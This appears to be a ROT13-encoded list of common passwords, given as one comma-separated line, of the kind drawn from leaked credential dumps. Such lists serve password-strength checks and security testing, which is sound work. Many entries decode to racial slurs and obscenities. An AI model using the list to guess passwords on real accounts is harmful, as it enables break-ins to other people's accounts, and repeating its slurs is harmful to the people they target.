2,avttref,npprff99,onmbbxn,zbyyl123,oynpxvpr,onaqv,pbpnpby,asusesl,gvzhe,zhfpuv,ubefr1,dhnag4307f,fdhregvat,bfpnef,zltveyf,synfuzna,gnatreva,tbbsl1,c0b9v8,ubhfrjvsrf,arjarff,zbaxrl69,rfpbecvb,cnffjbeq11,uvccb,jnepensg3,dnmkfj123,dcnymz,evoovg,tuoqgaqpgi,obtbgn,fgne123,258000,yvapbya1,ovtwvz,ynpbfgr,sverfgbez,yrtraqn,vaqnva,yhqnpevf,zvynzore,1009,rinatryv,yrgzrfrr,n111111,ubbgref1,ovterq1,funxre,uhfxl,n4grpu,pasxegu,netlyr,ewuwqs,angnun,0b9v8h7l,tvofba1,fbbaref1,tyraqnyr,nepurel,ubbpuvr,fgbbtr,nnnnnn1,fpbecvbaf,fpubby1,irtnf1,encvre,zvxr23,onffbba,tebhcq2013,znpnpb,onxre1,ynovn,serrjvyy,fnagvnt,fvyirenqb,ohgpu1,isyshspesu,zbavpn1,ehteng,pbeaubyr,nrebfzvg,ovbavpyr,tstsisis,qnavry12,ivetb,sznyr,snibevgr2,qrgebvg1,cbxrl,fuerqqre,onttvrf,jrqarfqn,pbfzb1,zvzbfn,fcneunjx,sverunjx,ebznevb,911gheob,shagvzrf,suagies,arkhf6,159753456,gvzbgul1,onwvatna,greel1,serapuvr,envqra,1zhfgnat,onorzntarg,74123698,anqrwqn,gehssyrf,encgher,qbhtynf1,ynzobetuvav,zbgbpebff,ewpiwp,748596,fxrrgre1,qnagr1,natry666,gryrpbz,pnefgra,cvrgeb,ozj318,nfgeb1,pnecrqvrz,fnzve,benat,uryvhz,fpvebppb,shmmonyy,ehfuzber,erorym,ubgfche,ynpevzbfn,purilf10,znqbaan1,qbzravpb,lsasves,wnpuva,furyol1,oybxr,qnjtf,qhauvyy,ngynagn1,freivpr1,zvxnqb,qrivyzna,natryvg,ermabe,rhcubevn,yrfonva,purpxzng,oebjaqbt,cuernx,oynmr1,penfu1,snevqn,zhggre,yhpxlzr,ubefrzra,itvey,wrqvxavt,nfqnf,prfner,nyyavtug,ebpxrl,fgneyvgr,gehpx1,cnffsna,pybfr-hc,fnzhr,pnmmb,jevaxyrf,ubzryl,rngzr1,frkcbg,fancfubg,qvzn1995,nfguzn,gurgehgu,qhpxl,oyraqre,cevlnaxn,tnhpub,qhgpuzna,fvmmyr,xnxnebg,651550,cnffpbqr,whfgvaovrore,666333,rybqvr,fnawnl,110442,nyrk01,ybghf1,2300zw,ynxfuzv,mbbzre,dhnxr3,12349876,grncbg,12345687,enznqn,craaljvf,fgevcre,cvybg1,puvatba,bcgvzn,ahqvgl,rguna1,rhpyvq,orryvar,yblbyn,ovthaf,mnd12345,oenib1,qvfarl1,ohssn,nffzhapu,ivivq,6661313,jryyvatg,ndjmfk,znqnyn11,9874123,fvtzne,cvpgrer,gvcgbc,orgglobbc,qvareb,gnuvgv,tertbel1,ovbavp,fcrrq1,shone1,yrkhf1,qravf1,unjgubea,fnkzna,fhagmh,oreauneq,qbzvavxn,pnzneb1,uhagre12,onyobn,ozj2002,frivyyr,qvnoyb1,isuolwkes,1234nop,pneyvat,ybpxreebbz,chanav,qnegu,oneba1,inarff,1cnffjbeq,yvovqb,cvpure,232425,xnenzon,shgla007,qnlqernz,11001001,qentba123,sevraqf1,obccre,ebpxl123,pubbpu,nffybire,fuvzzre,evqqyre,bcrazr,ghtobng,frkl123,zvqbev,thyanen,puevfgb,fjngpu,ynxre,bssebnq,chqqyrf,unpxref,znaaurvz,znantre1,ubefrzna,ebzna1,qnapre1,xbzchgre,cvpghref,abxvn5130,rwnphyngvba,yvbarff,123456l,rivybar,anfgraxn,chfubx,wnivr,yvyzna,3141592,zwbyave,gbhybhfr,chffl2,ovtjbez,fzbxr420,shyyonpx,rkgrafn,qernzpnfg,oryvmr,qryobl,jvyyvr1,pnfnoynapn,pflwkge,evpxl1,obatuvg,fnyingbe,onfure,chfflybire,ebfvr1,963258741,ivivgeba,pboen427,zrbayl,nezntrqqba,zlsevraq,mneqbm,djrqfnmkp,xenxra,smnccn,fgnesbk,333999,vyyzngvp,pncbrven,jrravr,enzmrf,serrqbz2,gbnfgl,chcxva,fuvavtnzv,suishgywl,abpghear,puhepuvy,guhzoavyf,gnvytngr,arjbeqre,frklznzn,tbnezl,prerohf,zvpuryyr1,iovslm,fhesfhc,rneguyva,qnohyyf,onfxrgony,nyvtngbe,zbwbwbwb,fnvonon,jrypbzr2,jvsrf,jqgawe,12345j,fynfure,cncnorne,greena,sbbgzna,ubpxr,153759,grknaf,gbz123,fstvnagf,ovyynobat,nnffqq,zbabyvgu,kkk777,y3gz31a,gvpxgbpx,arjbar,uryyab,wncnarrf,pbagbegvbavfg,nqzva123,fpbhg1,nynonzn1,qvik1,ebpuneq,ceving,enqne1,ovtqnq,supglod,gbeghtn,pvgehf,ninagv,snagnfl1,jbbqfgbpx,f12345,sverzna1,rzonyzre,jbbqjbex,obamnv,xbalbe,arjfgneg,wvttn,cnabenzn,tbngf,fzvgul,ehtengf,ubgznzn,qnrqnyhf,abafgbc,sehvgong,yvfrabx,dhnxre,ivbyngbe,12345123,zl3fbaf,pnwha,senttyr,tnlobl,byqsneg,ihyin,xavpxreyrff,betnfzf,haqregbj,ovaxl,yvgyr,xspawkes,znfgheongvba,ohaavr,nyrkvf1,cynaare,genafrkhny,fcnegl,yrrybb,zbavrf,sbmmvr,fgvatre1,ynaqebir,nanxbaqn,fpbbovr,lnznun1,uragv,fgne12,esuyolsx,orlbapr,pngsbbq,pwlgkes,mrnybgf,fgeng,sbeqgehp,nepunatry,fvyiv,fngvin,obbtref,zvyrf1,ovtwbr,ghyvc,crgvgr,terragrn,fuvggre,wbaobl,ibygeba,zbegvpvn,rinarfprapr,3rqp4esi,ybatfubg,jvaqbjf1,fretr,nnoopp,fgneohpxf,fvashy,qeljnyy,ceryhqr1,jjj123,pnzry1,ubzroerj,zneyvaf,123412,yrgzrvaa,qbzvav,fjnzcl,cybxvw,sbeqs350,jropnz,zvpuryr1,obyviv,27731828,jvatmreb,dnjfrqesgt,fuvawv,firevtr,wnfcre1,cvcre1,phzzre,vvlnzn,tbpngf,nzbhe,nysnebzr,whznawv,zvxr69,snagnfgv,1zbaxrl,j00g88,funja1,ybevra,1n2f3q4s5t,xbyrfb,zhecu,angnfpun,fhaxvfg,xraajbeg,rzvar,tevaqre,z12345,d1d2d3d4,purron,zbarl2,dnmjfkrqp1,qvnznagr,cebfgb,cqvqql,fgvaxl1,tnool1,yhpxlf,senapv,cbeabtencuvp,zbbpuvr,tsuwqwc,fnzqbt,rzcver1,pbzvpobbxqo,rzvyv,zbgqrcnffr,vcubar,oenirurneg,errfrf,arohyn,fnawbfr,ohoon2,xvpxsyvc,nepnatry,fhcreobj,cbefpur911,klmml,avttre1,qntboreg,qrivy1,nyngnz,zbaxrl2,oneonen1,12345i,iscsnses,nyrffvb,onorznta,nprzna,neenxvf,xnixnm,987789,wnfbaf,orefrex,fhoyvzr1,ebthr1,zlfcnpr,ohpxjurn,pflrxm,chffl4zr,irggr1,obbgf1,obvatb,neanhq,ohqyvgr,erqfgbez,cnenzber,orpxl1,vzgurzna,punatb,zneyrl1,zvyxljnl,666555,tvirzr,znunyb,yhk2000,yhpvna,cnqql,cenkvf,fuvznab,ovtcravf,perrcre,arjcebwrpg2004,enzzfgrv,w3dd4u7u2i,usywpaz,ynzopubc,nagubal2,ohtzna,tsuwxz12,qernzre1,fgbbtrf,plorefrk,qvnznag,pbjoblhc,znkvzhf1,fragen,615243,tbrgur,znaunggn,snfgpne,fryzre,1213141516,lsasvglzes,qraav,purjrl,lnaxrr1,ryrxgen,123456789c,gebhfref,svfusnpr,gbcfcva,bejryy,ibeban,fbqncbc,zbguresh,vovyygrf,sbenyy,xbbxvr,ebanyq1,onyebt,znkvzvyvna,zlcnffjb,fbaal1,mmkkpp,gxsxqt,zntbb,zqbtt,urryrq,tvgnen,yrfobf,znenwnqr,gvccl,zbebmbin,ragre123,yrforna,cbhaqrq,nfq456,svnyxn,fpneno,funecvr,fcnaxl1,tfgevat,fnpuva,12345nfq,cevaprgb,uryybury,hefvgrfhk,ovyybjf,1234xrxp,xbzong,pnfurj,qhenpryy,xfravln,frirabs9,xbfgvx,neguhe1,pbeirg07,eqsuaous,fbatbxh,gvorevna,arrqsbefcrrq,1djreg,qebcxvpx,xriva123,cnanpur,yvoen,n123456n,xwvsyz,isuafves,pagtsl,vnzpbby,anehg,ohssre,fx8beqvr,heynho,sveroynqr,oynaxrq,znevfuxn,trzvav1,nygrp,tbevyynm,puvrs1,eriviny47,vebazna1,fcnpr1,enzfgrva,qbbexabo,qrivyznlpel,arzrfvf1,fbfvfxn,craafgng,zbaqnl1,cvbare,furipuraxb,qrgrpgvi,rivyqrnq,oyrffrq1,nttvr,pbssrrf,gvpny,fpbggf,ohyyjvax,znefry,xelcgb,nqebpx,ewvgkes,nfzbqrhf,enchamry,guroblf,ubgqbtf,qrrcgueb,znkcnlar,irebavp,sllrves,bggre,purfgr,noorl1,gunabf,orqebpx,onegbx,tbbtyr1,kkkmmm,ebqrag,zbagrpneyb,ureanaqr,zvxnlyn,123456789y,oenirurn,12ybpxrq,yglzho,crtnfhf1,nzrgrhe,fnyglqbt,snvfny,zvysarj,zbzfhpx,riredhrf,lgatsuwxm,z0axrl,ohfvarffonor,pbbxv,phfgneq,123456no,yoiwkes,bhgynjf,753357,djregl78,hqnpun,vafvqre,purrf,shpxzruneq,fubgbxna,xngln,frnubefr,igyqgyz,ghegyr1,zvxr12,orrobc,urngur,riregba1,qnexarf,oneavr,eoprxm,nyvfure,gbbubg,gurqhxr,555222,erqqbt1,oerrml,ohyyqnjt,zbaxrlzna,onlyrr,ybfnatry,znfgrezv,ncbyyb1,nheryvr,mkpio12345,pnlraar,onfgrg,jfkmnd,trvopaoe,lryyb,shpzl69,erqjnyy,ynqloveq,ovgpuf,pppppp1,exgwtsaus,tuwqgues,dhrfg1,brqvchf,yvahf,vzcnynff,snegzna,12345x,sbxxre,159753n,bcgvcyrk,oooooo1,ernygbe,fyvcxab,fnagnpeh,ebjql,wryran,fzryyre,3984240,qqqqq1,frklzr,wnarg1,3698741,rngzr69,pnmmbar,gbqnl1,cbborne,vtangvhf,znfgre123,arjcnff1,urngure2,fabbcqbtt,oybaqvaxn,cnff12,ubarlqrj,shpxgung,890098890,ybirz,tbyqehfu,trpxb,ovxre1,yynzn,craqrwb,ninynapur,serzbag,fabjzna1,tnaqbys,pubjqre,1n2o3p4q5r,sylthl,zntnqna,1shpx,cvativa,abxvn5230,no1234,ybgune,ynfref,ovtahgf,erarr1,eblobl,fxlarg,12340987,1122334,qentenpr,ybiryl1,22334455,obbgre,12345612,pbeirgg,123456dd,pncvgny1,ivqrbrf,shagvx,jlirea,synatr,fnzzlqbt,uhyxfgre,13245768,abg4lbh,ibeyba,bzrtnerq,y58wxqwc!,svyvccb,123zhqne,fnznqnzf,crgehf,puevf12,puneyvr123,123456789123,vprgrn,fhaqreyn,nqevna1,123djrnf,xnmnabin,nfyna,zbaxrl123,sxglrves,tbbqfrk,123no,yogrfg,onanna,oyhrabfr,837519,nfq12345,jnssraff,jungrir,1n2n3n4n,genvyref,isuoves,ouopes,xynngh,ghex182,zbafbba,ornpuohz,fhaornz,fhpprf,pylqr1,ivxvat1,enjuvqr,ohooyrthz,cevap,znpxramv,urefurl1,222555,qvzn55,avttnm,znangrr,ndhvyn,narpuxn,cnzry,ohtfohaa,ybiry,frfgen,arjcbeg1,nygube,ubealzna,jnxrhc,mmm111,cuvful,preore,gbeerag,gurguvat,fbyavfuxb,onory,ohpxrlr1,crnah,rgurearg,haprapberq,onenxn,665544,puevf2,eo26qrgg,jvyyl1,pubccref,grknpb,ovttvey,123456o,naan2614,fhxror,pnenyub,pnyybsqhgl,eg6lgrer,wrfhf7,natry12,1zbarl,gvzrybeq,nyyoynpx,cniybin,ebznabi,grdhvreb,lvgobf,ybbxhc,ohyyf23,fabjsynxr,qvpxjrrq,onexf,yrire,vevfun,sverfgne,serq1234,tuwawaot,qnazna,tngvgb,orggl1,zvyubhfr,xopglwe,znfgreonvgvat,qryfby,cncvg,qbttlf,123698741,oqslwqs,vaivpghf,oybbqf,xnlyn1,lbheznzn,nccyr2,natrybx,ovtobl1,cbagvnp1,ireltbbq,lrfuhn,gjvaf2,cbea4zr,141516,enfgn69,wnzrf2,obffubt,pnaqlf,nqiraghe,fgevcr,qwxwym,qbxxra,nhfgva316,fxvaf,ubtjnegf,iouriou,anivtngb,qrfcrenqb,kkk666,parygla,infvyvl,unmzng,qnlgrx,rvtugony,serq1,sbhe20,74227422,snovn,nrebfzvgu,znahr,jvatpuha,obbubb,ubzoer,fnavgl72,tbngobl,shpxz,cnegvmna,nieben,hgnuwnmm,fhozneva,chfflrng,urvayrva,pbageby1,pbfgnevp,fznegl,puhna,gevcyrgf,fabjl,fansh,grnpure1,inatbtu,inaqny,rireterr,pbpuvfr,djregl99,clenzvq1,fnno900,favssre,dnm741,yroeba23,znex123,jbyivr,oynpxoryg,lbfuv,srrqre,wnarjnl,ahgryyn,shxvat,nffpbpx,qrrcnx,cbccvr,ovtfubj,ubhfrjvsr,tevyf,gbagb,plaguvn1,grzcgerff,venxyv,oryyr1,ehffryy1,znaqref,senax123,frnonff,tsbepr,fbatoveq,mvccl1,anhtug,oeraqn1,purjl1,ubgfuvg,gbcnm,43046721,tvesevraq,znevaxn,wnxrfgre,gungfzr,cynargn,snyfgnss,cngevmvn,erobea,evcgvqr,pureel1,fuhna,abtneq,puvab,bnfvf1,djnfmk12,tbbqyvsr,qnivf1,1911n1,uneelf,fuvgshpx,12345678900,ehffvna7,007700,ohyyf1,cbefur,qnavy,qbycuv,evire1,fnonxn,tbovterq,qrobenu1,ibyxfjntra,zvnzb,nyxnyvar,zhssqvir,1yrgzrva,sxoles,tbbqthl,unyyb1,aveina,bmmvr,pnaabaqn,pioulwqs,znezvgr,treznal1,wbroybj,enqvb1,ybir11,envaqebc,159852,wnpxb,arjqnl,sngurnq,ryivf123,pnfcr,pvgvonax,fcbegf1,qrhpr,obkgre,snxrcnff,tbyszna,fabjqbt,oveguqnl4,abazrzor,avxynf,cnefvsny,xenfbgn,gurfuvg,1235813,zntnaqn,avxvgn1,bzvpeba,pnffvr1,pbyhzob,ohvpx,fvtzn1,guvfgyr,onffva,evpxfgre,ncgrxn,fvraan,fxhyyf,zvnzbe,pbbytvey,tenivf,1dnmkp,ivetvav,uhagre2,nxnfun,ongzn,zbgbeplp,onzovab,grarevsr,sbeqs250,muhna,vybircbea,znexvmn,ubgonorf,orpbby,slawlols,jncncncn,sbezr,znzbag,cvmqn,qentbam,funeba1,fpebbtr,zeovyy,csyblq,yrrebl,angrqbt,vfuznry,777111,grphzfru,pnenwb,asl.ves,0000000000b,oynpxpbpx,srqbebi,nagvtbar,srnabe,abivxbin,oboreg,crerteva,fcnegna117,chzxva,enlzna,znahnyf,gbbygvzr,555333,obarguht,znevan1,obaavr1,gbalunjx,ynenpebsg,znunyxvgn,18273645,greevref,tnzre,ubfre,yvggyrzn,zbybgbx,tyraajrv,yrzba1,pnobbfr,gngre,12345654321,oevnaf,sevgm1,zvfgeny,wvtfnj,shpxfuvg,ubealthl,fbhgufvqr,rqgubz,nagbavb1,obozneyr,cvgherf,vyvxrfrk,pensgl,arkhf,obneqre,shypehz,nfgbaivy,lnaxf1,latjvr,nppbhag1,mbbebcn,ubgyrtf,fnzzv,thzob,ebire1,crexryr,znhebynenfgrsl,ynzcneq,357753,oneenphq,qzonaq,nopklm,cngusvaqre,335577,lhyvln,zvpxl,wnlzna,nfqst12345,1596321,unyplba,eresuger,sravxf,mnkfpq,tbglbnff,wnlprr,fnzfba1,wnzrfo,ivoengr,tenaqcev,pnzvab,pbybffhf,qnivqo,znzb4xn,avpxl1,ubzre123,cvathva,jngrezryba,funqbj01,ynfggvzr,tyvqre,823762,uryra1,clenzvqf,ghynar,bfnzn,ebfgbi,wbua12,fpbbgr,ouoles,tbuna,tnyrevrf,wblshy,ovtchffl,gbaxn,zbjtyv,nfgnynivfgn,mmm123,yrnsf,qnyrwe8,havpbea1,777000,cevzny,ovtznzn,bxzvwa,xvyymbar,dnm12345,fabbxvr,mkpiipkm,qnivqp,rcfba,ebpxzna,prnfre,ornaont,xnggra,3151020,qhpxuhag,frtergb,zngebf,entane,699669,frkfrkfr,123123m,shpxlrnu,ovtohggf,topzes,ryrzrag1,znexrgva,fnengbi,ryorergu,oynfgre1,lnznune6,tevzr,znfun,wharnh,1230123,cnccl,yvaqfnl1,zbbare,frnggyr1,xngmra,yhprag,cbyyl1,yntjntba,cvkvr,zvfvnpmrx,666666n,fzbxrqbt,ynxref24,rlronyy,vebaubef,nzrghre,ibyxbqni,ircfes,xvzzl,thzol1,cbv098,bingvba,1d2j3,qevaxre,crargengvat,fhzzregvzr,1qnyynf,cevzn,zbqyrf,gnxnzvar,uneqjbex,znpvagbfu,gnubr,cnffguvr,puvxf,fhaqbja,sybjref1,obebzve,zhfvp123,cunrqehf,nyoreg1,wbhat,znynxnf,thyyvire,cnexre1,onyqre,fbaar,wrffvr1,qbznvaybpx2005,rkcerff1,isxols,lbhnaqzr,enxrgn,xbnyn,quwailglwho,auseawu,grfgvovy,loeoawp,987654321d,nkrzna,cvagnvy,cbxrzba123,qbtttt,funaql,gurfnvag,11122233,k72wuuh3m,gurpynfu,encgbef,mnccn1,qwqwkes,uryy666,sevqnl1,ivinyqv,cyhgb1,ynapr1,thrffjub,wrnqzv,pbetna,fxvyym,fxvccl1,znatb1,tlzanfgvp,fngbev,362514,gurrqtr,pkspaxoqsm,fcnexrl,qrvpvqr,ontryf,ybybyby,yrzzvatf,e4r3j2d1,fvyir,fgnvaq,fpuahssv,qnmmyr,onfrony1,yrebl1,ovyob1,yhpxvr,djregl2,tbbqsryy,urezvbar,crnprbhg,qnivqbss,lrfgreqn,xvyynu,syvccl,puevfo,mryqn1,urnqyrff,zhggyrl,shpxbs,gvgglf,pngqnqql,cubgbt,orrxre,ernire,enz1500,lbexgbja,obyreb,gelntnva,nezna,puvppb,yrnewrg,nyrkrv,wraan1,tb2uryy,12f3g4c55,zbzfnanynqiragher,zhfgnat9,cebgbff,ebbgre,tvabyn,qvatb1,zbwnir,revpn1,1dnmfr4,zneiva1,erqjbys,fhaoveq,qnatrebh,znpvrx,tvefy,unjxf1,cnpxneq1,rkpryyra,qnfuxn,fbyrqn,gbbaprf,nprgngr,anpxrq,wobaq007,nyyvtngbe,qroovr1,jryyuhat,zbaxrlzn,fhcref,evttre,yneffba,infryvar,ewamus,znevcbf,123456nfq,poe600ee,qbttlqbt,pebavp,wnfba123,gerxxre,syvczbqr,qehvq,fbalinvb,qbqtrf,znlsnve,zlfghss,sha4zr,fnznagn,fbsvln,zntvpf,1enatre,nepnar,fvkglava,222444,bzregn,yhfpvbhf,tolhqol,obopngf,raivfvba,punapr1,frnjrrq,ubyqrz,gbzngr,zrafpu,fyvpre,nphen1,tbbpuv,djrrjd,chagre,ercbzna,gbzobl,arire1,pbegvan,tbzrgf,147896321,369852147,qbtzn,ouwkes,ybtyngva,rentba,fgengb,tnmryyr,tebjyre,885522,xynhqvn,cnlgba34,shpxrz,ohgpuvr,fpbecv,yhtnab,123456789x,avpubyn,puvccre1,fcvqr,huohwuod,efnyvanf,islysuol,ybatubeaf,ohtnggv,riredhrfg,!dnm2jfk,oynpxnff,999111,fanxrzna,c455j0eq,snangvp,snzvyl1,csdkoe,777iynq,zlfrperg,zneng,cubravk2,bpgbore1,tratuvf,cnagvrf1,pbbxre,pvgeba,npr123,1234569,tenzcf,oynpxpbp,xbqvnx1,uvpxbel,vinaubr,oynpxobl,rfpure,fvapvgl,ornxf,zrnaqlbh,fcnavry,pnaba1,gvzzl1,ynapnfgr,cbynebvq,rqvaohet,shpxrqhc,ubgzna,phronyy,tbyspyho,tbcnpx,obbxpnfr,jbeyqphc,qxsyoiouwqok,gjbfgrc,17171717nn,yrgfcynl,mbyhfuxn,fgryyn1,csxrts,xvatghg,67pnzneb,oneenphqn,jvttyrf,twuwxz,cenapre,cngngn,xwvsus,gurzna1,ebznabin,frklnff,pbccre1,qboore,fbxbybi,cbzvqbe,nytreaba,pnqzna,nzberzvb,jvyyvnz2,fvyyl1,oboolf,urephyr,uq764aj5q7r1io1,qrspba,qrhgfpuynaq,ebovaubbq,nysnysn,znpubzna,yrforaf,cnaqben1,rnflcnl,gbzfreib,anqrmuqn,tbbavrf,fnno9000,wbeqla,s15rntyr,qoerpm,12djregl,terngfrk,guenja,oyhagrq,onljngpu,qbttlfglyr,ybybkk,puril2,wnahnel1,xbqnx,ohfury,78963214,ho6vo9,mm8807mcy,oevrsf,unjxre,224488,svefg1,obamb,oerag1,renfher,69213124,fvqrjvaq,fbppre13,622521,zragbf,xbyvoev,barcvrpr,havgrq1,cbalobl,xrxfn12,jnlre,zlchffl,naqerw,zvfpun,zvyyr,oehab123,tnegre,ovtcha,gnytng,snzvyvn,wnmml1,zhfgnat8,arjwbo,747400,oboore,oynpxory,unggrenf,tvatr,nfqswxy;,pnzrybg1,oyhr44,eroolg34,robal1,irtnf123,zloblf,nyrxfnaqre,vwewxsyes,ybcngn,cvyfare,ybghf123,z0ax3l,naqerri,servurvg,onyyf1,qewlaseag,znmqn1,jngrecbyb,fuvohzv,852963,123ooo,prmre121,oybaqvr1,ibyxbin,enggyre,xyrrark,ora123,fnanar,uncclqbt,fngryyvg,dnmcyz,dnmjfkrqpesigto,zrbjzvk,onqthl,snprshpx,fcvpr1,oybaql,znwbe1,25000,naan123,654321n,fbore1,qrnguebj,cnggrefb,puvan1,anehgb1,unjxrlr1,jnyqb1,ohgpul,penlba,5gto6lua,xybcvx,pebpbqvy,zbguen,vzubeal,cbbxvr1,fcynggre,fyvccl,yvmneq1,ebhgre,ohengvab,lnujru,123698,qentba11,123djr456,crrcref,gehpxre1,tnawnzna,1ukobdt2,purlnaar,fgbelf,fronfgvr,mmgbc,znqqvfba,4esi3rqp,qneguinqre,wrsseb,vybirvg,ivpgbe1,ubggl,qrycuva,yvsrvftbbq,tbbfrzna,fuvsgl,vafregvbaf,qhqr123,noehcg,123znfun,obbtnybb,puebabf,fgnzsbeq,cvzcfgre,xguwkes,trgzrva,nzvqnyn,syhoore,srggvfu,tencrncr,qnagrf,benyfrk,wnpx1,sbkpt33,jvapurfg,senapvf1,trgva,nepuba,pyvssl,oyhrzna,1onfrony,fcbeg1,rzzvgg22,cbea123,ovtanfgl,zbetn,123uswqx147,sreene,whnavgb,snovby,pnfrlqbt,fgrirb,crgreabegu,cnebyy,xvzpuv,obbgyrt,tnvwva,frper,npnpvn,rngzr2,nznevyyb,zbaxrl11,esustrc,glyref,n1n2n3n4n5,fjrrgnff,oybjre,ebqvan,onohfuxn,pnzvyb,pvzobz,gvssna,isaoxzys,buonol,tbgvtref,yvaqfrl1,qentba13,ebzhyhf,dnmkfj12,mkpioa1,qebcqrnq,uvgzna47,fahttyr,ryrira11,oybbcref,357znt,ninatneq,ozj320,tvafpbbg,qfunqr,znfgrexrl,ibbqbb1,ebbgrqvg,pnenzon,yrnupvz,unaabire,8cuebjm622,gvz123,pnffvhf,000000n,natryvgb,mmmmm1,onqxnezn,fgne1,znyntn,tyrajbbq,sbbgybir,tbys1,fhzzre12,uryczr1,snfgpnef,gvgna1,cbyvpr1,cbyvaxn,x.wqz,znehfln,nhthfgb,fuvenm,cnaglubfr,qbanyq1,oynvfr,nenoryyn,oevtnqn,p3cbe2q2,crgre01,znepb1,uryybj,qvyyjrrq,hmhzlzj,trenyqva,ybirlbh2,gblbgn1,088011,tbcuref,vaql500,fynvagr,5ufh75xcbg,grrwnl,erang,enpbba,fnoeva,natvr1,fuvmavg,unechn,frklerq,yngrk,ghpxre1,nyrknaqeh,jnubb,grnzjbex,qrrcoyhr,tbbqvfba,ehaqzp,e2q2p3c0,chcclf,fnzon,nlegba,obborq,999777,gbcfrper,oybjzr1,123321m,ybhqbt,enaqbz1,cnagvr,qerivy,znaqbyva,121212d,ubggho,oebgure1,snvyfnsr,fcnqr1,zngirl,bcra1234,pnezra1,cevfpvyy,fpungmv,xnwnx,tbbqqbt,gebwnaf1,tbeqba1,xnlnx,pnynzvgl,netrag,hsuiwlom,frivlv,crasbyq,nffsnpr,qvyqbf,unjxjvaq,pebjone,lnaxf,ehssyrf,enfghf,yhi2rchf,bcra123,ndhnsvan,qnjaf,wnerq1,grhsry,12345p,ijtbys,crcfv123,nzberf,cnffjreq,01478520,obyvin,fzhggl,urnqfubg,cnffjbeq3,qnivqq,mlqsuz,totopzes,cbeacnff,vafregvba,prpxoe,grfg2,pne123,purpxvg,qoasxod,avttnf,allnaxrr,zhfxeng,aohuglwe,thaare1,bprna1,snovraar,puevffl1,jraqlf,ybirzr89,ongtvey,preirmn,vtberx,fgrry1,entzna,obevf123,abivsnez,frkl12,djregl777,zvxr01,tvirvghc,123456nop,shpxnyy,perivpr,unpxrem,tfcbg,rvtug8,nffnffvaf,grknff,fjnyybjf,123458,onyqhe,zbbafuvar,ynongg,zbqrz,flqarl1,ibynaq,qoasxm,ubgpuvpx,wnpxre,cevaprffn,qnjtf1,ubyvqnl1,obbcre,eryvnag,zvenaqn1,wnznvpn1,naqer1,onqannzurer,oneanol,gvtre7,qnivq12,znetnhk,pbefvpn,085gmmdv,havirefv,gurjnyy,arirezbe,znegva6,djregl77,pvcure,nccyrf1,0102030405,frencuvz,oynpx123,vzmnqv,tnaqba,qhpngv99,1funqbj,qxsyoiouwqls,44zntahz,ovtonq,srrqzr,fnznagun1,hygenzna,erqarpx1,wnpxqbt,hfzp0311,serfu1,zbavdhr1,gvter,nycunzna,pbby1,terlubha,vaqlpne,pehapul,55puril,pnerserr,jvyybj1,063qlwhl,kengrq,nffpybja,srqrevpn,uvysvtre,gevivn,oebapb1,znzvgn,100200300,fvzpvgl,yrkvatxl,nxngfhxv,ergfnz,wbuaqrrer,nohqsi,enfgre,rytngb,ohfvaxn,fngnanf,znggvaty,erqjvat1,funzvy,cngngr,znaaa,zbbafgne,rivy666,o123456,objy300,gnarpuxn,34523452,pneguntr,onoltve,fnagvab,obaqneraxb,wrfhff,puvpb1,ahzybpx,fulthl,fbhaq1,xveol1,arrqvg,zbfgjnagrq,427900,shaxl1,fgrir123,cnffvbaf,naqhevy,xrezvg1,cebfcreb,yhfgl,onenxhqn,qernz1,oebbqjne,cbexl,puevfgl1,znuny,llllll1,nyyna1,1frkl,syvagfgb,pncev,phzrngre,urergvp,eboreg2,uvccbf,oyvaqnk,znelxnl,pbyyrpgv,xnfhzv,1dnm!dnm,112233d,123258,purzvfge,pbbyobl,0b9v8h,xnohxv,evtugba,gvterff,arffvr,fretrw,naqerj12,lsnslm,lgeuwisla,natry7,ivpgb,zbooqrrc,yrzzvat,genafsbe,1725782,zlubhfr,nrlaoe,zhfxvr,yrab4xn,jrfgunz1,pioulwq,qnssbqvy,chfflyvpxre,cnzryn1,fghssre,jnerubhf,gvaxre1,2j3r4e,cyhgba,ybhvfr1,cbyneorn,253634,cevzr1,nangbyvl,wnahne,jlfvjlt,pboenln,enycul,junyre,kgreen,pnoyrthl,112233n,cbea69,wnzrfq,ndhnyhat,wvzzl123,yhzcl,yhpxlzna,xvatfvmr,tbysvat1,nycun7,yrrqf1,znevtbyq,yby1234,grnont,nyrk11,10far1,fnbcnhyb,funaal,ebynaq1,onffre,3216732167,pneby1,lrne2005,zbebmbi,fnghea1,wbfryhvf,ohfurq,erqebpx,zrzabpu,ynynynaq,vaqvnan1,ybirtbq,thyanm,ohssnybf,ybirlbh1,nagrngre,cnggnln,wnlqrr,erqfuvsg,onegrx,fhzzregv,pbssrr1,evpbpurg,vaprfg,fpunfgvr,enxxnhf,u2bcbyb,fhvxbqra,creeb,qnapr1,ybirzr1,jubbcnff,iynqiynq,obbore,sylref1,nyrffvn,tsptwua,cvcref,cncnln,thafyvat,pbbybar,oynpxvr1,tbanqf,tsuwxmlga,sbkubhaq,djreg12,tnatery,tuwigagd,oyhrqriv,zljvsr,fhzzre01,unatzna,yvpbevpr,cnggre,ise750,gubefgra,515253,avathan,qnxvar,fgenatr1,zrkvp,iretrgra,12345432,8cuebjm624,fgnzcrqr,syblq1,fnvysvfu,enmvry,nanaqn,tvnpbzb,serrzr,pesces,74185296,nyyfgnef,znfgre01,fbyenp,tsauowa,onlyvare,ozj525,3465kkk,pnggre,fvatyr1,zvpunry3,cragvhz4,avgebk,zncrg123456,unyvohg,xvyyebl,kkkkk1,cuvyyvc1,cbbcfvr,nefranysp,ohsslf,xbfbin,nyy4zr,32165498,nefyna,bcrafrfnzr,oehgvf,puneyrf2,cbpugn,anqrtqn,onpxfcnp,zhfgnat0,vaivf,tbtrgn,654321d,nqnz25,avprqnl,gehpxva,tsqxoe,ovprcf,fprcger,ovtqnir,ynhenf,hfre345,fnaqlf,funoon,engqbt,pevfgvnab,angun,znepu13,thzonyy,trgfqbja,jnfqjnfq,erqurnq1,qqqqqq1,ybatyrtf,13572468,fgnefxl,qhpxfbhc,ohaalf,bzfnvenz,jubnzv,serq123,qnaznex,synccre,fjnaxl,ynxvatf,lsuraw,nfgrevbf,envavre,frnepure,qnccre,ygqwkes,ubefrl,frnunjx,fuebbz,gxsxqtb,ndhnzna,gnfuxrag,ahzore9,zrffv10,1nffubyr,zvyravhz,vyyhzvan,irtvgn,wbqrpv,ohfgre01,oneronpx,tbyqsvatre,sver1,33ewuwqf,fnovna,guvaxcnq,fzbbgu1,fhyyl,obatuvgf,fhfuv1,zntanibk,pbybzov,ibvgher,yvzcbar,byqbar,nehon,ebbfgre1,muraln,abzne5,gbhpuqbj,yvzcovmxvg,euspsqkoe,oncubz